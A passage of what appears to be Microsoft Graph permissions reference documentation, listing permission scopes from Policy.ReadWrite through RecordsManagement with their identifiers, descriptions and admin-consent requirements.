    DescriptionAllows the app to read and write your organization's authorization policy without a signed in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default.Allows the app to read and write your organization's authorization policy on behalf of the signed-in user. For example, authorization policies can control some of the permissions that the out-of-the-box user role has by default.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.ConditionalAccess

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier01c0a623-fc9b-48e9-b794-0756f8e8f067ad902697-1014-4ef5-81ef-2b4301988e8c
    DisplayTextRead and write your organization's conditional access policiesRead and write your organization's conditional access policies
    DescriptionAllows the app to read and write your organization's conditional access policies, without a signed-in user.Allows the app to read and write your organization's conditional access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.ConsentRequest

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier999f8c63-0a38-4f1b-91fd-ed1947bdd1a94d135e65-66b8-41a8-9f8b-081452c91774
    DisplayTextRead and write your organization's consent request policyRead and write consent request policy
    DescriptionAllows the app to read and write your organization's consent requests policy without a signed-in user.Allows the app to read and write your organization's consent requests policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.CrossTenantAccess

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier338163d7-f101-4c92-94ba-ca46fe52447c014b43d0-6ed4-4fc6-84dc-4b6f7bae7d85
    DisplayTextRead and write your organization's cross tenant access policiesRead and write your organization's cross tenant access policies
    DescriptionAllows the app to read and write your organization's cross tenant access policies without a signed-in user.Allows the app to read and write your organization's cross tenant access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.DeviceConfiguration

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-40b534c3-9552-4550-901b-23879c90bcf9
    DisplayText-Read and write your organization's device configuration policies
    Description-Allows the app to read and write your organization's device configuration policies on behalf of the signed-in user. For example, device registration policy can limit initial provisioning controls using quota restrictions, additional authentication and authorization checks.
    AdminConsentRequired-Yes
    -
    -

    Policy.ReadWrite.ExternalIdentities

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier03cc4f92-788e-4ede-b93f-199424d144a5b5219784-1215-45b5-b3f1-88fe1081f9c0
    DisplayTextRead and write your organization's external identities policyRead and write your organization's external identities policy
    DescriptionAllows the application to read and update the organization's external identities policy without a signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave.Allows the application to read and update the organization's external identities policy on behalf of the signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.FeatureRollout

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2044e4f1-e56c-435b-925c-44cd8f6ba89a92a38652-f13b-4875-bc77-6e1dbb63e1b2
    DisplayTextRead and write feature rollout policiesRead and write your organization's feature rollout policies
    DescriptionAllows the app to read and write feature rollout policies without a signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature.Allows the app to read and write your organization's feature rollout policies on behalf of the signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.FedTokenValidation

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier90bbca0b-227c-4cdc-8083-1c6cfb95bac6be1be369-4540-4ac9-8928-79de99f70d8f
    DisplayTextRead and write your organization's federated token validation policyRead and write your organization's federated token validation policy
    DescriptionAllows the application to read and update the organization's federated token validation policy without a signed-in user.Allows the application to read and update the organization's federated token validation policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.IdentityProtection

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2dcf8603-09eb-4078-b1ec-d30a1a76b8737256e131-3efb-4323-9854-cf41c6021770
    DisplayTextRead and write your organization's identity protection policyRead and write your organization's identity protection policy
    DescriptionAllows the app to read and write your organization's identity protection policy without a signed-in user.Allows the app to read and write your organization's identity protection policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.MobilityManagement

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-a8ead177-1889-4546-9387-f25e658e2a79
    DisplayText-Read and write your organization's mobility management policies
    Description-Allows the app to read and write your organization's mobility management policies on behalf of the signed-in user. For example, a mobility management policy can set the enrollment scope for a given mobility management application.
    AdminConsentRequired-Yes
    -
    -

    Policy.ReadWrite.PermissionGrant

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera402ca1c-2696-4531-972d-6e5ee4aa11ea2672f8bb-fd5e-42e0-85e1-ec764dd2614e
    DisplayTextManage consent and permission grant policiesManage consent and permission grant policies
    DescriptionAllows the app to manage policies related to consent and permission grants for applications, without a signed-in user.Allows the app to manage policies related to consent and permission grants for applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.SecurityDefaults

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1c6e93a6-28e2-4cbb-9f64-1a46a821124d0b2a744c-2abf-4f1e-ad7e-17a087e2be99
    DisplayTextRead and write your organization's security defaults policyRead and write your organization's security defaults policy
    DescriptionAllows the app to read and write your organization's security defaults policy, without a signed-in user.Allows the app to read and write your organization's security defaults policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.TrustFramework

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier79a677f7-b79d-40d0-a36a-3e6f8688dd7acefba324-1a70-4a6e-9c1d-fd670b7ae392
    DisplayTextRead and write your organization's trust framework policiesRead and write your organization's trust framework policies
    DescriptionAllows the app to read and write your organization's trust framework policies without a signed in user.Allows the app to read and write your organization's trust framework policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    POP.AccessAsUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-d7b7f2d9-0f45-4ea1-9d42-e50810c06991
    DisplayText-Read and write access to mailboxes via POP.
    Description-Allows the app to have the same access to mailboxes as the signed-in user via POP protocol.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The POP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Presence.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-76bc735e-aecd-4a1d-8b4c-2b915deabb79
    DisplayText-Read user's presence information
    Description-Allows the app to read presence information on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequired-No
    -
    -

    Presence.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera70e0c2d-e793-494c-94c4-118fa0a67f429c7a330d-35b3-4aa1-963d-cb2b9f927841
    DisplayTextRead presence information for all usersRead presence information of all users in your organization
    DescriptionAllows the app to read presence information of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.Allows the app to read presence information of all users in the directory on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequiredYesNo
    -
    -

    Presence.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-8d3c54a7-cf58-4773-bf81-c0cd6ad522bb
    DisplayText-Read and write a user's presence information
    Description-Allows the app to read the presence information and write activity and availability on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location.
    AdminConsentRequired-No
    -
    -

    Presence.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier83cded22-8297-4ff6-a7fa-e97e9545a259-
    DisplayTextRead and write presence information for all users-
    DescriptionAllows the app to read all presence information and write activity and availability of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, time zone and location.-
    AdminConsentRequiredYes-
    -
    -

    PrintConnector.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-d69c2d6d-4f72-4f99-a6b9-663e32f8cf68
    DisplayText-Read print connectors
    Description-Allows the application to read print connectors on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    PrintConnector.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-79ef9967-7d59-4213-9c64-4b10687637d8
    DisplayText-Read and write print connectors
    Description-Allows the application to read and write print connectors on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    Printer.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-90c30bed-6fd1-4279-bf39-714069619721
    DisplayText-Register printers  
    Description-Allows the application to create (register) printers on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    -
    -

    Printer.FullControl.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-93dae4bd-43a1-4a23-9a1a-92957e1d9121
    DisplayText-Register, read, update, and unregister printers
    Description-Allows the application to create (register), read, update, and delete (unregister) printers on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    -
    -

    Printer.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9709bb33-4549-49d4-8ed9-a8f65e45bb0f3a736c8a-018e-460a-b60c-863b2683e8bf
    DisplayTextRead printersRead printers
    DescriptionAllows the application to read printers without a signed-in user. Allows the application to read printers on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    -
    -

    Printer.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf5b3f73d-6247-44df-a74c-866173fddab089f66824-725f-4b8f-928e-e1c5258dc565
    DisplayTextRead and update printersRead and update printers
    DescriptionAllows the application to read and update printers without a signed-in user. Does not allow creating (registering) or deleting (unregistering) printers.Allows the application to read and update printers on behalf of the signed-in user. Does not allow creating (registering) or deleting (unregistering) printers.
    AdminConsentRequiredYesYes
    -
    -

    PrinterShare.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ed11134d-2f3f-440d-a2e1-411efada2502
    DisplayText-Read printer shares
    Description-Allows the application to read printer shares on behalf of the signed-in user. 
    AdminConsentRequired-No
    -
    -

    PrinterShare.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5fa075e9-b951-4165-947b-c63396ff0a37
    DisplayText-Read basic information about printer shares
    Description-Allows the application to read basic information about printer shares on behalf of the signed-in user. Does not allow reading access control information.
    AdminConsentRequired-No
    -
    -

    PrinterShare.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-06ceea37-85e2-40d7-bec3-91337a46038f
    DisplayText-Read and write printer shares
    Description-Allows the application to read and update printer shares on behalf of the signed-in user. 
    AdminConsentRequired-Yes
    -
    -

    PrintJob.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-21f0d9c0-9f13-48b3-94e0-b6b231c7d320
    DisplayText-Create print jobs
    Description-Allows the application to create print jobs on behalf of the signed-in user and upload document content to print jobs that the signed-in user created.
    AdminConsentRequired-No
    - -

    In this to PrintJob.Create, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.Manage.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier58a52f47-9e36-4b17-9ebe-ce4ef7f3e6c8-
    DisplayTextPerform advanced operations on print jobs-
    DescriptionAllows the application to perform advanced operations like redirecting a print job to another printer without a signed-in user. Also allows the application to read and update the metadata of print jobs.-
    AdminConsentRequiredYes-
    -
    -

    PrintJob.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-248f5528-65c0-4c88-8326-876c7236df5e
    DisplayText-Read user's print jobs
    Description-Allows the application to read the metadata and document content of print jobs that the signed-in user created.
    AdminConsentRequired-No
    - -

    In this to PrintJob.Read, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierac6f956c-edea-44e4-bd06-64b1b4b9aec9afdd6933-a0d8-40f7-bd1a-b5d778e8624b
    DisplayTextRead print jobsRead print jobs
    DescriptionAllows the application to read the metadata and document content of print jobs without a signed-in user. Allows the application to read the metadata and document content of print jobs on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    - -

    In this to PrintJob.Read.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-6a71a747-280f-4670-9ca0-a9cbf882b274
    DisplayText-Read basic information of user's print jobs
    Description-Allows the application to read the metadata of print jobs that the signed-in user created. Does not allow access to print job document content.
    AdminConsentRequired-No
    - -

    In this to PrintJob.ReadBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfbf67eee-e074-4ef7-b965-ab5ce1c1f68904ce8d60-72ce-4867-85cf-6d82f36922f3
    DisplayTextRead basic information for print jobsRead basic information of print jobs
    DescriptionAllows the application to read the metadata of print jobs without a signed-in user. Does not allow access to print job document content.Allows the application to read the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content.
    AdminConsentRequiredYesYes
    - -

    In this to PrintJob.ReadBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b81dd597-8abb-4b3f-a07a-820b0316ed04
    DisplayText-Read and write user's print jobs
    Description-Allows the application to read and update the metadata and document content of print jobs that the signed-in user created.
    AdminConsentRequired-No
    - -

    In this to PrintJob.ReadWrite, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5114b07b-2898-4de7-a541-53b0004e2e13036b9544-e8c5-46ef-900a-0646cc42b271
    DisplayTextRead and write print jobsRead and write print jobs
    DescriptionAllows the application to read and update the metadata and document content of print jobs without a signed-in user.Allows the application to read and update the metadata and document content of print jobs on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    - -

    In this to PrintJob.ReadWrite.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadWriteBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-6f2d22f2-1cb6-412c-a17c-3336817eaa82
    DisplayText-Read and write basic information of user's print jobs
    Description-Allows the application to read and update the metadata of print jobs that the signed-in user created. Does not allow access to print job document content.
    AdminConsentRequired-No
    - -

    In this to PrintJob.ReadWriteBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintJob.ReadWriteBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier57878358-37f4-4d3a-8c20-4816e0d457b13a0db2f6-0d2a-4c19-971b-49109b19ad3d
    DisplayTextRead and write basic information for print jobsRead and write basic information of print jobs
    DescriptionAllows the application to read and update the metadata of print jobs without a signed-in user. Does not allow access to print job document content.Allows the application to read and update the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content.
    AdminConsentRequiredYesYes
    - -

    In this to PrintJob.ReadWriteBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.

    -
    -

    PrintSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb5991872-94cf-4652-9765-29535087c6d8490f32fd-d90f-4dd7-a601-ff6cdc1a3f6c
    DisplayTextRead tenant-wide print settingsRead tenant-wide print settings
    DescriptionAllows the application to read tenant-wide print settings without a signed-in user.Allows the application to read tenant-wide print settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrintSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9ccc526a-c51c-4e5c-a1fd-74726ef50b8f
    DisplayText-Read and write tenant-wide print settings
    Description-Allows the application to read and write tenant-wide print settings on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    PrintTaskDefinition.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier456b71a7-0ee0-4588-9842-c123fcc8f664-
    DisplayTextRead, write and update print task definitions-
    DescriptionAllows the application to read and update print task definitions without a signed-in user. -
    AdminConsentRequiredYes-
    -
    -

    PrivilegedAccess.Read.AzureAD

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4cdc2547-9148-4295-8d11-be0db1391d6bb3a539c9-59cb-4ad5-825a-041ddbdc2bdb
    DisplayTextRead privileged access to Azure AD rolesRead privileged access to Azure AD
    DescriptionAllows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAccess.Read.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier01e37dc9-c035-40bd-b438-b2879c4870a6d329c81c-20ad-4772-abf9-3f6fdb7e5988
    DisplayTextRead privileged access to Azure AD groupsRead privileged access to Azure AD groups
    DescriptionAllows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAccess.Read.AzureResources

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5df6fe86-1be0-44eb-b916-7bd443a712361d89d70c-dcac-4248-b214-903c457af83a
    DisplayTextRead privileged access to Azure resourcesRead privileged access to Azure resources
    DescriptionAllows the app to read time-based assignment and just-in-time elevation of user privileges to audit Azure resources in your organization, without a signed-in user.Allows the app to read time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAccess.ReadWrite.AzureAD

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier854d9ab1-6657-4ec8-be45-823027bcd0093c3c74f5-cdaa-4a97-b7e0-4e788bfcfb37
    DisplayTextRead and write privileged access to Azure AD rolesRead and write privileged access to Azure AD
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user.Allows the app to request and manage just in time elevation (including scheduled elevation) of users to Azure AD built-in administrative roles, on behalf of signed-in users.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAccess.ReadWrite.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2f6817f8-7b12-4f0f-bc18-eeaf60705a9e32531c59-1f32-461f-b8df-6f8a3b89f73b
    DisplayTextRead and write privileged access to Azure AD groupsRead and write privileged access to Azure AD groups
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user.Allows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAccess.ReadWrite.AzureResources

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6f9d5abc-2db6-400b-a267-7de22a40fb87a84a9652-ffd3-496e-a991-22ba5529156a
    DisplayTextRead and write privileged access to Azure resourcesRead and write privileged access to Azure resources
    DescriptionAllows the app to request and manage time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) in your organization, without a signed-in user.Allows the app to request and manage time-based assignment and just-in-time elevation of user privileges to manage Azure resources (like subscriptions, resource groups, storage, compute) on behalf of the signed-in users.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAssignmentSchedule.Read.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercd4161cb-f098-48f8-a884-1eda9a42434c02a32cc4-7ab5-4b58-879a-0586e0f7c495
    DisplayTextRead assignment schedules for access to Azure AD groupsRead assignment schedules for access to Azure AD groups
    DescriptionAllows the app to read time-based assignment schedules for access to Azure AD groups, without a signed-in user.Allows the app to read time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier41202f2c-f7ab-45be-b001-85c9728b9d6906dbc45d-6708-4ef0-a797-f797ee68bf4b
    DisplayTextRead, create, and delete assignment schedules for access to Azure AD groupsRead, create, and delete assignment schedules for access to Azure AD groups
    DescriptionAllows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, without a signed-in user.Allows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedEligibilitySchedule.Read.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieredb419d6-7edc-42a3-9345-509bfdf5d87c8f44f93d-ecef-46ae-a9bf-338508d44d6b
    DisplayTextRead eligibility schedules for access to Azure AD groupsRead eligibility schedules for access to Azure AD groups
    DescriptionAllows the app to read time-based eligibility schedules for access to Azure AD groups, without a signed-in user.Allows the app to read time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier618b6020-bca8-4de6-99f6-ef445fa4d857ba974594-d163-484e-ba39-c330d5897667
    DisplayTextRead, create, and delete eligibility schedules for access to Azure AD groupsRead, create, and delete eligibility schedules for access to Azure AD groups
    DescriptionAllows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, without a signed-in user.Allows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    profile

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-14dad69e-099b-42c9-810b-d002981feec1
    DisplayText-View users' basic profile
    Description-Allows the app to see your users' basic profile (e.g., name, picture, user name, email address)
    AdminConsentRequired-No
    -

    personal Microsoft accounts The profile delegated permission is available for consent in personal Microsoft accounts.

    - -

    profile is an OpenID Connect (OIDC) scope.

    -

    You can use the OIDC scopes to specify artifacts that you want returned in Azure AD authorization and token requests. They are supported differently by the Azure AD v1.0 and v2.0 endpoints.

    -

    With the Azure AD v1.0 endpoint, only the openid scope is used. You specify it in the scope parameter in an authorization request to return an ID token when you use the OpenID Connect protocol to sign in a user to your app. For more information, see Authorize access to web applications using OpenID Connect and Azure Active Directory. To successfully return an ID token, you must also make sure that the User.Read permission is configured when you register your app.

    -

    With the Azure AD v2.0 endpoint, you specify the offline_access scope in the scope parameter to explicitly request a refresh token when using the OAuth 2.0 or OpenID Connect protocols. With OpenID Connect, you specify the openid scope to request an ID token. You can also specify the email scope, profile scope, or both to return additional claims in the ID token. You do not need to specify the User.Read permission to return an ID token with the v2.0 endpoint. For more information, see OpenID Connect scopes.

    -

    The Microsoft Authentication Library (MSAL) currently specifies offline_access, openid, profile, and email by default in authorization and token requests. This means that, for the default case, if you specify these scopes explicitly, Azure AD may return an error.

    -
    -

    ProfilePhoto.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere24d31aa-e1ab-4c80-85fe-23018690335d469cd065-729e-4dee-b1fa-d92e0fab6310
    DisplayTextRead profile photo of a user or groupRead profile photo of a user or group
    DescriptionAllows the app to read all profile photos of users and groups, without a signed-in userAllows the app to read all profile photos of users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ProfilePhoto.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier27baa7f6-5dfb-4ba8-b1d3-1e812c143013f5b24df7-511e-48bb-ae88-643f023b55e1
    DisplayTextRead and write profile photo of a user or groupRead and write profile photo of a user or group
    DescriptionAllows the app to read and write all profile photos of users and groups, without a signed-in userAllows the app to read and write all profile photos of users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ProgramControl.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiereedb7fdd-7539-4345-a38b-4839e4a84cbdc492a2e1-2f8f-4caa-b076-99bbf6e40fe4
    DisplayTextRead all programsRead all programs that user can access
    DescriptionAllows the app to read programs and program controls in the organization, without a signed-in user.Allows the app to read programs and program controls that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    -
    -

    ProgramControl.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier60a901ed-09f7-4aa5-a16e-7dd3d6f9de3650fd364f-9d93-4ae1-b170-300e87cccf84
    DisplayTextManage all programsManage all programs that user can access
    DescriptionAllows the app to read, update, delete and perform actions on programs and program controls in the organization, without a signed-in user.Allows the app to read, update, delete and perform actions on programs and program controls that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    -
    -

    PublicKeyInfrastructure.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier214fda0c-514a-4650-b037-b562b1a6612404a4b2a2-3f26-4fc8-87ee-9c46e68db175
    DisplayTextRead all certificate based authentication configurationsRead certificate based authentication configurations
    DescriptionAllows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user.Allows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PublicKeyInfrastructure.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera2b63618-5350-462d-b1b3-ba6eb3684e263591b7f3-dba8-4bad-b667-7a64bd4f2b83
    DisplayTextRead and write all certificate based authentication configurationsRead and write certificate based authentication configurations
    DescriptionAllows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user.Allows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    QnA.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieree49e170-1dd1-4030-b44c-61ad6e98f743f73fa04f-b9a5-4df9-8843-993ce928925e
    DisplayTextRead all Question and AnswersRead all Questions and Answers that the user can access.
    DescriptionAllows an app to read all question and answers, without a signed-in user.Allows an app to read all question and answer sets that the signed-in user can access.
    AdminConsentRequiredYesNo
    -
    -

    RecordsManagement.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierac3a2b8e-03a3-4da9-9ce0-cbe28bf1accd07f995eb-fc67-4522-ad66-2b8ca8ea3efd
    DisplayTextRead Records Management configuration, labels and policiesRead Records Management configuration, labels, and policies
    DescriptionAllows the application to read any data from Records Management, such as configuration, labels, and policies without the signed in user.Allows the application to read any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    RecordsManagement.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiereb158f57-df43-4751-8b21-b8932adb3d34f2833d75-a4e6-40ab-86d4-6dfe73c97605
